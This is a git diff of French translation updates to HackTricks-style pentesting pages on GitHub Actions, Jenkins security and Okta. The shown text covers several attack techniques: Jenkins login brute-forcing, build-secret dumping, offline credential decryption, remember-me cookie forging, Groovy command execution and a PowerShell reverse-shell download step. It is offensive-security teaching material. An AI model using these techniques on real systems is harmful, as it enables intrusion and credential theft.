-- Si vous utilisez votre application avec GitHub Actions et souhaitez modifier des fichiers de workflow, vous devez vous authentifier au nom de l'utilisateur avec un jeton OAuth qui inclut le scope `workflow`. L'utilisateur doit avoir des permissions d'administrateur ou d'écriture sur le dépôt contenant le fichier de workflow. Pour plus d'informations, voir "[Comprendre les scopes pour les applications OAuth](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
+- Ne construisez pas une application GitHub si vous _voulez seulement_ agir en tant qu'utilisateur GitHub et faire tout ce que cet utilisateur peut faire.
+- Si vous utilisez votre application avec GitHub Actions et souhaitez modifier des fichiers de workflow, vous devez vous authentifier au nom de l'utilisateur avec un jeton OAuth qui inclut la portée `workflow`. L'utilisateur doit avoir des permissions d'administrateur ou d'écriture sur le dépôt contenant le fichier de workflow. Pour plus d'informations, voir "[Comprendre les portées pour les applications OAuth](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
- **Plus** ici [ici](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
### Actions Github
-Ce **n'est pas un moyen de s'authentifier dans github**, mais une **action** Github malveillante pourrait obtenir un **accès non autorisé à github** et **selon** les **privilèges** accordés à l'action, plusieurs **attaques différentes** pourraient être réalisées. Voir ci-dessous pour plus d'informations.
+Ceci **n'est pas un moyen de s'authentifier dans github**, mais une **action** Github malveillante pourrait obtenir un **accès non autorisé à github** et **selon** les **privilèges** accordés à l'Action, plusieurs **attaques différentes** pourraient être réalisées. Voir ci-dessous pour plus d'informations.
## Actions Git
@@ -168,13 +168,13 @@ run: |
example-command "$SUPER_SECRET"
```
> [!WARNING]
-> Les secrets **ne peuvent être accessibles que depuis les Github Actions** qui les ont déclarés.
+> Les secrets **ne peuvent être accédés que depuis les Github Actions** qui les ont déclarés.
-> Une fois configurés dans le dépôt ou les organisations, **les utilisateurs de github ne pourront plus y accéder**, ils pourront seulement **les modifier**.
+> Une fois configurés dans le dépôt ou les organisations, **les utilisateurs de github ne pourront plus y accéder**, ils ne pourront que **les modifier**.
-Par conséquent, la **seule façon de voler les secrets github est de pouvoir accéder à la machine qui exécute l'Action Github** (dans ce scénario, vous ne pourrez accéder qu'aux secrets déclarés pour l'Action).
+Par conséquent, la **seule façon de voler des secrets github est de pouvoir accéder à la machine qui exécute l'Action Github** (dans ce scénario, vous ne pourrez accéder qu'aux secrets déclarés pour l'Action).
-### Environnements Git
+### Git Environments
Github permet de créer **des environnements** où vous pouvez enregistrer **des secrets**. Ensuite, vous pouvez donner à l'action github l'accès aux secrets à l'intérieur de l'environnement avec quelque chose comme :
```yaml
@@ -198,11 +198,11 @@ La façon de trouver quelles **actions Github sont exécutées dans une infrastr
Il est **impossible d'exécuter une action Github d'une organisation à l'intérieur d'une boîte auto-hébergée** d'une autre organisation car **un jeton unique est généré pour le Runner** lors de sa configuration pour savoir à quelle organisation le runner appartient.
-Si le **Github Runner personnalisé est configuré sur une machine à l'intérieur d'AWS ou de GCP**, par exemple, l'action **pourrait avoir accès à l'endpoint de métadonnées** et **voler le jeton du compte de service** avec lequel la machine fonctionne.
+Si le **Github Runner personnalisé est configuré sur une machine à l'intérieur d'AWS ou de GCP**, par exemple, l'action **pourrait avoir accès au point de terminaison des métadonnées** et **voler le jeton du compte de service** avec lequel la machine fonctionne.
### Compromission de l'Action Git
-Si toutes les actions (ou une action malveillante) sont autorisées, un utilisateur pourrait utiliser une **action Github** qui est **malveillante** et qui va **compromettre** le **conteneur** où elle est exécutée.
+Si toutes les actions (ou une action malveillante) sont autorisées, un utilisateur pourrait utiliser une **action Github** qui est **malveillante** et qui **compromettra** le **conteneur** où elle est exécutée.
> [!CAUTION]
> Une **action Github malveillante** exécutée pourrait être **abusée** par l'attaquant pour :
@@ -231,9 +231,9 @@ Différentes protections peuvent être appliquées à une branche (comme à mast
- **Exiger que les vérifications de statut réussissent avant de fusionner.** Certaines vérifications doivent réussir avant de pouvoir fusionner le commit (comme une action github vérifiant qu'il n'y a pas de secret en clair).
- **Exiger la résolution des conversations avant de fusionner**. Tous les commentaires sur le code doivent être résolus avant que la PR puisse être fusionnée.
- **Exiger des commits signés**. Les commits doivent être signés.
-- **Exiger une histoire linéaire.** Empêcher les commits de fusion d'être poussés vers des branches correspondantes.
+- **Exiger une histoire linéaire.** Empêcher les commits de fusion d'être poussés vers les branches correspondantes.
- **Inclure les administrateurs**. Si cela n'est pas défini, les administrateurs peuvent contourner les restrictions.
-- **Restreindre qui peut pousser vers des branches correspondantes**. Restreindre qui peut envoyer une PR.
+- **Restreindre qui peut pousser vers les branches correspondantes**. Restreindre qui peut envoyer une PR.
> [!NOTE]
> Comme vous pouvez le voir, même si vous parvenez à obtenir des identifiants d'un utilisateur, **les dépôts peuvent être protégés vous empêchant de pousser du code sur master** par exemple pour compromettre le pipeline CI/CD.
diff --git a/src/pentesting-ci-cd/jenkins-security/README.md b/src/pentesting-ci-cd/jenkins-security/README.md
index 21cfc56fe..f8945fbde 100644
--- a/src/pentesting-ci-cd/jenkins-security/README.md
+++ b/src/pentesting-ci-cd/jenkins-security/README.md
@@ -1,10 +1,10 @@
-# Jenkins Security
+# Sécurité de Jenkins
{{#include ../../banners/hacktricks-training.md}}
## Informations de base
-Jenkins est un outil qui offre une méthode simple pour établir un **environnement d'intégration continue** ou de **livraison continue** (CI/CD) pour presque **n'importe quelle** combinaison de **langages de programmation** et de dépôts de code source en utilisant des pipelines. De plus, il automatise diverses tâches de développement routinières. Bien que Jenkins n'élimine pas le **besoin de créer des scripts pour des étapes individuelles**, il fournit un moyen plus rapide et plus robuste d'intégrer l'ensemble de la séquence d'outils de construction, de test et de déploiement que ce que l'on peut facilement construire manuellement.
+Jenkins est un outil qui offre une méthode simple pour établir un environnement de **continuous integration** ou **continuous delivery** (CI/CD) pour presque **n'importe quelle** combinaison de **langages de programmation** et de dépôts de code source en utilisant des pipelines. De plus, il automatise diverses tâches de développement routinières. Bien que Jenkins n'élimine pas le **besoin de créer des scripts pour des étapes individuelles**, il fournit un moyen plus rapide et plus robuste d'intégrer l'ensemble de la séquence d'outils de construction, de test et de déploiement que ce que l'on peut facilement construire manuellement.
{{#ref}}
basic-jenkins-information.md
@@ -50,7 +50,7 @@ De plus, si la **fonctionnalité**/**plugins** **SSO** étaient présents, vous
### Bruteforce
-**Jenkins** manque de **politique de mot de passe** et de **mitigation de bruteforce de nom d'utilisateur**. Il est essentiel de **bruteforcer** les utilisateurs puisque des **mots de passe faibles** ou des **noms d'utilisateur comme mots de passe** peuvent être utilisés, même des **noms d'utilisateur inversés comme mots de passe**.
+**Jenkins** manque de **politique de mot de passe** et de **mitigation de bruteforce des noms d'utilisateur**. Il est essentiel de **bruteforcer** les utilisateurs puisque des **mots de passe faibles** ou des **noms d'utilisateur comme mots de passe** peuvent être utilisés, même des **noms d'utilisateur inversés comme mots de passe**.
```
msf> use auxiliary/scanner/http/jenkins_login
```
@@ -60,7 +60,7 @@ Utilisez [ce script python](https://github.com/gquere/pwn_jenkins/blob/master/pa
### Contournement de la liste blanche IP
-De nombreuses organisations combinent des **systèmes de gestion de code source (SCM) basés sur le SaaS** tels que GitHub ou GitLab avec une **solution CI interne auto-hébergée** comme Jenkins ou TeamCity. Cette configuration permet aux systèmes CI de **recevoir des événements webhook des fournisseurs de contrôle de source SaaS**, principalement pour déclencher des travaux de pipeline.
+De nombreuses organisations combinent des **systèmes de gestion de code source (SCM) basés sur SaaS** tels que GitHub ou GitLab avec une **solution CI interne auto-hébergée** comme Jenkins ou TeamCity. Cette configuration permet aux systèmes CI de **recevoir des événements webhook des fournisseurs de contrôle de source SaaS**, principalement pour déclencher des travaux de pipeline.
Pour ce faire, les organisations **mettent sur liste blanche** les **plages IP** des **plateformes SCM**, leur permettant d'accéder au **système CI interne** via des **webhooks**. Cependant, il est important de noter que **quiconque** peut créer un **compte** sur GitHub ou GitLab et le configurer pour **déclencher un webhook**, envoyant potentiellement des requêtes au **système CI interne**.
@@ -85,23 +85,23 @@ Si vous avez accédé à Jenkins, vous pouvez lister d'autres utilisateurs enreg
### Dumping des builds pour trouver des secrets en clair
-Utilisez [ce script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) pour extraire les sorties de console des builds et les variables d'environnement des builds afin de trouver, espérons-le, des secrets en clair.
+Utilisez [ce script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) pour extraire les sorties de console des builds et les variables d'environnement des builds afin de trouver des secrets en clair.
```bash
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v
```
-### **Vol de crédentiels SSH**
+### **Vol de Credentials SSH**
-Si l'utilisateur compromis a **suffisamment de privilèges pour créer/modifier un nouveau nœud Jenkins** et que les crédentiels SSH sont déjà stockés pour accéder à d'autres nœuds, il pourrait **voler ces crédentiels** en créant/modifiant un nœud et **en définissant un hôte qui enregistrera les crédentiels** sans vérifier la clé de l'hôte :
+Si l'utilisateur compromis a **suffisamment de privilèges pour créer/modifier un nouveau nœud Jenkins** et que les credentials SSH sont déjà stockés pour accéder à d'autres nœuds, il pourrait **voler ces credentials** en créant/modifiant un nœud et en **définissant un hôte qui enregistrera les credentials** sans vérifier la clé de l'hôte :
.png>)
-Vous trouverez généralement les crédentiels ssh de Jenkins dans un **fournisseur global** (`/credentials/`), vous pouvez donc également les extraire comme vous le feriez pour tout autre secret. Plus d'informations dans la [**section Extraction de secrets**](./#dumping-secrets).
+Vous trouverez généralement les credentials ssh de Jenkins dans un **fournisseur global** (`/credentials/`), vous pouvez donc également les extraire comme vous le feriez pour tout autre secret. Plus d'informations dans la [**section Extraction de secrets**](./#dumping-secrets).
### **RCE dans Jenkins**
-Obtenir un **shell sur le serveur Jenkins** donne à l'attaquant l'opportunité de divulguer tous les **secrets** et **variables d'environnement** et d'**exploiter d'autres machines** situées dans le même réseau ou même de **rassembler des crédentiels cloud**.
+Obtenir un **shell sur le serveur Jenkins** donne à l'attaquant l'opportunité de divulguer tous les **secrets** et **variables d'environnement** et d'**exploiter d'autres machines** situées sur le même réseau ou même de **rassembler des credentials cloud**.
Par défaut, Jenkins s'exécute **en tant que SYSTEM**. Donc, le compromettre donnera à l'attaquant **des privilèges SYSTEM**.
@@ -115,7 +115,7 @@ jenkins-rce-creating-modifying-project.md
### **RCE Exécution de script Groovy**
-Vous pouvez également obtenir RCE en exécutant un script Groovy, qui pourrait être plus furtif que de créer un nouveau projet :
+Vous pouvez également obtenir RCE en exécutant un script Groovy, qui pourrait être plus discret que de créer un nouveau projet :
{{#ref}}
jenkins-rce-with-groovy-script.md
@@ -135,11 +135,11 @@ Pour exploiter les pipelines, vous devez toujours avoir accès à Jenkins.
### Pipelines de Construction
-Les **pipelines** peuvent également être utilisés comme **mécanisme de construction dans les projets**, dans ce cas, il peut être configuré un **fichier à l'intérieur du dépôt** qui contiendra la syntaxe du pipeline. Par défaut, `/Jenkinsfile` est utilisé :
+Les **pipelines** peuvent également être utilisés comme **mécanisme de construction dans les projets**, dans ce cas, un **fichier à l'intérieur du dépôt** peut être configuré pour contenir la syntaxe du pipeline. Par défaut, `/Jenkinsfile` est utilisé :
.png>)
-Il est également possible de **stocker des fichiers de configuration de pipeline à d'autres endroits** (dans d'autres dépôts par exemple) dans le but de **séparer** l'**accès** au dépôt et l'accès au pipeline.
+Il est également possible de **stocker des fichiers de configuration de pipeline à d'autres endroits** (dans d'autres dépôts par exemple) dans le but de **séparer** l'accès au dépôt et l'accès au pipeline.
Si un attaquant a **un accès en écriture sur ce fichier**, il pourra **le modifier** et **potentiellement déclencher** le pipeline sans même avoir accès à Jenkins.\
Il est possible que l'attaquant doive **contourner certaines protections de branche** (selon la plateforme et les privilèges de l'utilisateur, elles pourraient être contournées ou non).
@@ -219,12 +219,12 @@ env
À la fin de cette page, vous pouvez **trouver tous les types de credentials** : [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
> [!WARNING]
-> La meilleure façon de **dump all the secrets at once** est de **compromettre** la machine **Jenkins** (en exécutant un reverse shell dans le **nœud intégré**, par exemple) et ensuite **leaker** les **master keys** et les **encrypted secrets** et de les déchiffrer hors ligne.\
+> La meilleure façon de **vider tous les secrets en une seule fois** est de **compromettre** la machine **Jenkins** (en exécutant un reverse shell dans le **nœud intégré**, par exemple) et ensuite **fuir** les **clés maîtresses** et les **secrets chiffrés** et de les déchiffrer hors ligne.\
> Plus d'informations sur la façon de faire cela dans la [section Nodes & Agents](./#nodes-and-agents) et dans la [section Post Exploitation](./#post-exploitation).
-### Triggers
+### Déclencheurs
-D'après [la documentation](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers) : La directive `triggers` définit les **manières automatisées dont le Pipeline doit être re-déclenché**. Pour les Pipelines qui sont intégrés avec une source telle que GitHub ou BitBucket, `triggers` peut ne pas être nécessaire car une intégration basée sur des webhooks sera probablement déjà présente. Les triggers actuellement disponibles sont `cron`, `pollSCM` et `upstream`.
+D'après [la documentation](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers) : La directive `triggers` définit les **modes automatisés par lesquels le Pipeline doit être relancé**. Pour les Pipelines qui sont intégrés avec une source telle que GitHub ou BitBucket, `triggers` peut ne pas être nécessaire car une intégration basée sur des webhooks sera probablement déjà présente. Les déclencheurs actuellement disponibles sont `cron`, `pollSCM` et `upstream`.
Exemple de Cron :
```bash
@@ -242,7 +242,7 @@ Pour plus d'informations, consultez les informations de base :
basic-jenkins-information.md
{{#endref}}
-Vous pouvez énumérer les **nœuds configurés** dans `/computer/`, vous trouverez généralement le \*\*`Nœud intégré` \*\* (qui est le nœud exécutant Jenkins) et potentiellement plus :
+Vous pouvez énumérer les **nœuds configurés** dans `/computer/`, vous trouverez généralement le \*\*`Nœud Intégré` \*\* (qui est le nœud exécutant Jenkins) et potentiellement plus :
.png>)
@@ -312,7 +312,7 @@ jenkins-rce-creating-modifying-pipeline.md
```
msf> post/multi/gather/jenkins_gather
```
-### Jenkins Secrets
+### Secrets Jenkins
Vous pouvez lister les secrets en accédant à `/credentials/` si vous avez suffisamment de permissions. Notez que cela ne listera que les secrets à l'intérieur du fichier `credentials.xml`, mais **les fichiers de configuration de build** peuvent également contenir **plus de credentials**.
@@ -320,13 +320,13 @@ Si vous pouvez **voir la configuration de chaque projet**, vous pouvez égalemen
.png>)
-#### From Groovy
+#### Depuis Groovy
{{#ref}}
jenkins-dumping-secrets-from-groovy.md
{{#endref}}
-#### From disk
+#### Depuis le disque
Ces fichiers sont nécessaires pour **décrypter les secrets Jenkins** :
@@ -351,7 +351,7 @@ credentials.xml: {AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOm
```
#### Décrypter les secrets Jenkins hors ligne
-Si vous avez extrait les **mots de passe nécessaires pour déchiffrer les secrets**, utilisez [**ce script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **pour déchiffrer ces secrets**.
+Si vous avez extrait **les mots de passe nécessaires pour déchiffrer les secrets**, utilisez [**ce script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **pour déchiffrer ces secrets**.
```bash
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
@@ -365,7 +365,7 @@ println(hudson.util.Secret.decrypt("{...}"))
```
### Créer un nouvel utilisateur administrateur
-1. Accédez au fichier Jenkins config.xml dans `/var/lib/jenkins/config.xml` ou `C:\Program Files (x86)\Jenkins\`
+1. Accédez au fichier Jenkins config.xml dans `/var/lib/jenkins/config.xml` ou `C:\Program Files (x86)\Jenkis\`
2. Recherchez le mot `true` et changez le mot **`true`** en **`false`**.
1. `sed -i -e 's/truefalse)
@@ -45,7 +45,7 @@ Dans `/configureSecurity`, il est possible de **configurer le royaume de sécuri
- **Déléguer au conteneur de servlets** : Pour **déléguer l'authentification à un conteneur de servlets exécutant le contrôleur Jenkins**, tel que [Jetty](https://www.eclipse.org/jetty/).
- **Base de données utilisateur propre à Jenkins :** Utilisez **le magasin de données utilisateur intégré de Jenkins** pour l'authentification au lieu de déléguer à un système externe. Cela est activé par défaut.
- **LDAP** : Déléguer toute l'authentification à un serveur LDAP configuré, y compris les utilisateurs et les groupes.
-- **Base de données utilisateur/groupe Unix** : **Délègue l'authentification à la base de données utilisateur au niveau du système d'exploitation Unix** sur le contrôleur Jenkins. Ce mode permettra également la réutilisation des groupes Unix pour l'autorisation.
+- **Base de données utilisateur/groupe Unix** : **Délègue l'authentification à la base de données utilisateur au niveau du système d'exploitation Unix sous-jacent sur le contrôleur Jenkins.** Ce mode permettra également la réutilisation des groupes Unix pour l'autorisation.
Les plugins peuvent fournir des royaumes de sécurité supplémentaires qui peuvent être utiles pour intégrer Jenkins dans des systèmes d'identité existants, tels que :
@@ -67,7 +67,7 @@ Un **exécuteur** est un **emplacement pour l'exécution des tâches** ; en effe
### Chiffrement des secrets et des identifiants
-Définition des [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials) : Jenkins utilise **AES pour chiffrer et protéger les secrets**, les identifiants et leurs clés de chiffrement respectives. Ces clés de chiffrement sont stockées dans `$JENKINS_HOME/secrets/` avec la clé maître utilisée pour protéger ces clés. Ce répertoire doit être configuré de sorte que seul l'utilisateur du système d'exploitation sous lequel le contrôleur Jenkins s'exécute ait un accès en lecture et en écriture à ce répertoire (c'est-à-dire, une valeur `chmod` de `0700` ou en utilisant des attributs de fichier appropriés). La **clé maître** (parfois appelée "clé de chiffrement" dans le jargon cryptographique) est **stockée \_non chiffrée\_** sur le système de fichiers du contrôleur Jenkins dans **`$JENKINS_HOME/secrets/master.key`** ce qui ne protège pas contre les attaquants ayant un accès direct à ce fichier. La plupart des utilisateurs et des développeurs utiliseront ces clés de chiffrement indirectement via soit l'API [Secret](https://javadoc.jenkins.io/byShortName/Secret) pour chiffrer des données secrètes génériques ou via l'API des identifiants. Pour les curieux de cryptographie, Jenkins utilise AES en mode de chaînage de blocs (CBC) avec un remplissage PKCS#5 et des IV aléatoires pour chiffrer des instances de [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) qui sont stockées dans `$JENKINS_HOME/secrets/` avec un nom de fichier correspondant à leur identifiant `CryptoConfidentialKey`. Les identifiants de clé courants incluent :
+Définition des [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials) : Jenkins utilise **AES pour chiffrer et protéger les secrets**, les identifiants et leurs clés de chiffrement respectives. Ces clés de chiffrement sont stockées dans `$JENKINS_HOME/secrets/` avec la clé maître utilisée pour protéger ces clés. Ce répertoire doit être configuré de sorte que seul l'utilisateur du système d'exploitation sous lequel le contrôleur Jenkins s'exécute ait un accès en lecture et en écriture à ce répertoire (c'est-à-dire, une valeur `chmod` de `0700` ou en utilisant des attributs de fichier appropriés). La **clé maître** (parfois appelée "clé de chiffrement" dans le jargon cryptographique) est **stockée \_non chiffrée\_** sur le système de fichiers du contrôleur Jenkins dans **`$JENKINS_HOME/secrets/master.key`** ce qui ne protège pas contre les attaquants ayant un accès direct à ce fichier. La plupart des utilisateurs et des développeurs utiliseront ces clés de chiffrement indirectement via soit l'API [Secret](https://javadoc.jenkins.io/byShortName/Secret) pour chiffrer des données secrètes génériques ou via l'API des identifiants. Pour les curieux de cryptographie, Jenkins utilise AES en mode de chaînage de blocs (CBC) avec un remplissage PKCS#5 et des IV aléatoires pour chiffrer des instances de [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) qui sont stockées dans `$JENKINS_HOME/secrets/` avec un nom de fichier correspondant à leur id `CryptoConfidentialKey`. Les ids de clé courants incluent :
- `hudson.util.Secret` : utilisé pour des secrets génériques ;
- `com.cloudbees.plugins.credentials.SecretBytes.KEY` : utilisé pour certains types d'identifiants ;
@@ -75,7 +75,7 @@ Définition des [docs](https://www.jenkins.io/doc/developer/security/secrets/#en
### Accès aux identifiants
-Les identifiants peuvent être **étendus à des fournisseurs globaux** (`/credentials/`) qui peuvent être accessibles par tout projet configuré, ou peuvent être étendus à **des projets spécifiques** (`/job//configure`) et donc uniquement accessibles depuis le projet spécifique.
+Les identifiants peuvent être **étendus aux fournisseurs globaux** (`/credentials/`) qui peuvent être accessibles par tout projet configuré, ou peuvent être étendus à **des projets spécifiques** (`/job//configure`) et donc uniquement accessibles depuis le projet spécifique.
Selon [**les docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/) : Les identifiants qui sont dans le champ d'application sont mis à disposition du pipeline sans limitation. Pour **prévenir une exposition accidentelle dans le journal de construction**, les identifiants sont **masqués** de la sortie régulière, donc une invocation de `env` (Linux) ou `set` (Windows), ou des programmes imprimant leur environnement ou leurs paramètres ne **révèleraient pas ces identifiants dans le journal de construction** aux utilisateurs qui n'auraient pas autrement accès aux identifiants.
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md
index 89af64bf6..d774bfcb8 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md
@@ -4,13 +4,13 @@
Dans cet article de blog, il est possible de trouver un excellent moyen de transformer une vulnérabilité d'inclusion de fichier local dans Jenkins en RCE : [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)
-Ceci est un résumé créé par IA de la partie de l'article où la création d'un cookie arbitraire est exploitée pour obtenir RCE en abusant d'une lecture de fichier local jusqu'à ce que j'aie le temps de créer un résumé moi-même :
+Ceci est un résumé créé par IA de la partie de l'article où la création d'un cookie arbitraire est exploitée pour obtenir RCE en abusant d'une lecture de fichier local jusqu'à ce que j'ai le temps de créer un résumé moi-même :
### Prérequis à l'attaque
- **Exigence de fonctionnalité :** "Se souvenir de moi" doit être activé (paramètre par défaut).
- **Niveaux d'accès :** L'attaquant a besoin de permissions Globales/Lecture.
-- **Accès secret :** Capacité à lire à la fois le contenu binaire et textuel de fichiers clés.
+- **Accès secret :** Capacité à lire à la fois le contenu binaire et textuel à partir de fichiers clés.
### Processus d'exploitation détaillé
@@ -31,17 +31,17 @@ Ceci est un résumé créé par IA de la partie de l'article où la création d'
- **Clé maître :** `$JENKINS_HOME/secrets/master.key`
- **Fichier de clé MAC :** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac`
-#### Étape 2 : Forgement de cookie
+#### Étape 2 : Forging de cookie
-**Préparation du jeton**
+**Préparation du token**
-- **Calculer le temps d'expiration du jeton :**
+- **Calculer le temps d'expiration du token :**
```javascript
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Ajoute une heure au temps actuel
```
-- **Concaténer les données pour le jeton :**
+- **Concaténer les données pour le token :**
```javascript
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
@@ -64,7 +64,7 @@ macKey = decrypted.withoutSuffix("::::MAGIC::::")
- **Calculer HMAC SHA256 :**
```javascript
-mac = HmacSHA256(token, macKey) // Calculer HMAC en utilisant le jeton et la clé MAC
+mac = HmacSHA256(token, macKey) // Calculer HMAC en utilisant le token et la clé MAC
tokenSignature = bytesToHexString(mac) // Convertir la MAC en chaîne hexadécimale
```
@@ -82,7 +82,7 @@ username + ":" + tokenExpiryTime + ":" + tokenSignature
**Authentification de session**
-- **Récupérer les jetons CSRF et de session :**
+- **Récupérer les tokens CSRF et de session :**
- Faire une requête à `/crumbIssuer/api/json` pour obtenir `Jenkins-Crumb`.
- Capturer `JSESSIONID` de la réponse, qui sera utilisé en conjonction avec le cookie "se souvenir de moi".
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md b/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md
index dbb6103b3..41099e761 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md
@@ -3,9 +3,9 @@
{{#include ../../banners/hacktricks-training.md}}
> [!WARNING]
-> Notez que ces scripts ne listeront que les secrets à l'intérieur du fichier `credentials.xml`, mais **les fichiers de configuration de build** pourraient également contenir **plus de credentials**.
+> Notez que ces scripts ne listeront que les secrets à l'intérieur du fichier `credentials.xml`, mais les **fichiers de configuration de build** pourraient également contenir **plus de credentials**.
-Vous pouvez **dumper tous les secrets de la console de script Groovy** dans `/script` en exécutant ce code.
+Vous pouvez **extraire tous les secrets de la console de script Groovy** dans `/script` en exécutant ce code.
```java
// From https://www.dennisotugo.com/how-to-view-all-jenkins-secrets-credentials/
import jenkins.model.*
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md
index 1a7ef2bb4..b60e79a6e 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md
@@ -1,8 +1,8 @@
-# Jenkins RCE Creating/Modifying Pipeline
+# Jenkins RCE Création/Modification de Pipeline
{{#include ../../banners/hacktricks-training.md}}
-## Creating a new Pipeline
+## Création d'un nouveau Pipeline
Dans "Nouvel élément" (accessible à `/view/all/newJob`), sélectionnez **Pipeline :**
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md
index 8c35380d3..9fd4410ee 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md
@@ -1,8 +1,8 @@
-# Jenkins RCE Creating/Modifying Project
+# Jenkins RCE Création/Modification de Projet
{{#include ../../banners/hacktricks-training.md}}
-## Creating a Project
+## Création d'un Projet
Cette méthode est très bruyante car vous devez créer un tout nouveau projet (évidemment, cela ne fonctionnera que si l'utilisateur est autorisé à créer un nouveau projet).
@@ -14,7 +14,7 @@ Cette méthode est très bruyante car vous devez créer un tout nouveau projet (
.png>)
-## Modifying a Project
+## Modification d'un Projet
Allez dans les projets et vérifiez **si vous pouvez configurer l'un d'eux** (cherchez le "bouton Configurer") :
@@ -24,13 +24,13 @@ Si vous **ne pouvez pas** voir de **bouton de configuration**, alors vous **ne p
Ou **essayez d'accéder au chemin** `/job//configure` ou `/me/my-views/view/all/job//configure` \_\_ dans chaque projet (exemple : `/job/Project0/configure` ou `/me/my-views/view/all/job/Project0/configure`).
-## Execution
+## Exécution
Si vous êtes autorisé à configurer le projet, vous pouvez **le faire exécuter des commandes lorsque la construction est réussie** :
.png>)
-Cliquez sur **Save** et **build** le projet et votre **commande sera exécutée**.\
-Si vous n'exécutez pas un reverse shell mais une simple commande, vous pouvez **voir la sortie de la commande dans la sortie de la construction**.
+Cliquez sur **Sauvegarder** et **construisez** le projet et votre **commande sera exécutée**.\
+Si vous n'exécutez pas un shell inversé mais une simple commande, vous pouvez **voir la sortie de la commande dans la sortie de la construction**.
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md
index 76fd717d1..8b091512f 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md
@@ -16,7 +16,7 @@ Vous pouvez exécuter une commande en utilisant : `cmd.exe /c dir`
Dans **linux**, vous pouvez faire : **`"ls /".execute().text`**
-Si vous devez utiliser _quotes_ et _single quotes_ à l'intérieur du texte. Vous pouvez utiliser _"""PAYLOAD"""_ (triple guillemets doubles) pour exécuter le payload.
+Si vous devez utiliser _des guillemets_ et _des apostrophes_ à l'intérieur du texte. Vous pouvez utiliser _"""PAYLOAD"""_ (triple guillemet) pour exécuter le payload.
**Un autre script groovy utile** est (remplacez \[INSERT COMMAND]) :
```python
@@ -34,7 +34,7 @@ proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
```
-### Reverse shell dans Windows
+### Reverse shell sous Windows
Vous pouvez préparer un serveur HTTP avec un PS reverse shell et utiliser Jeking pour le télécharger et l'exécuter :
```python
@@ -46,7 +46,7 @@ cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc
Vous pouvez automatiser ce processus avec [**ce script**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py).
-Vous pouvez utiliser MSF pour obtenir un shell inversé :
+Vous pouvez utiliser MSF pour obtenir un reverse shell :
```
msf> use exploit/multi/http/jenkins_script_console
```
diff --git a/src/pentesting-ci-cd/okta-security/README.md b/src/pentesting-ci-cd/okta-security/README.md
index 77b388fb2..a0d8c2b2a 100644
--- a/src/pentesting-ci-cd/okta-security/README.md
+++ b/src/pentesting-ci-cd/okta-security/README.md
@@ -2,82 +2,82 @@
{{#include ../../banners/hacktricks-training.md}}
-## Basic Information
+## Informations de base
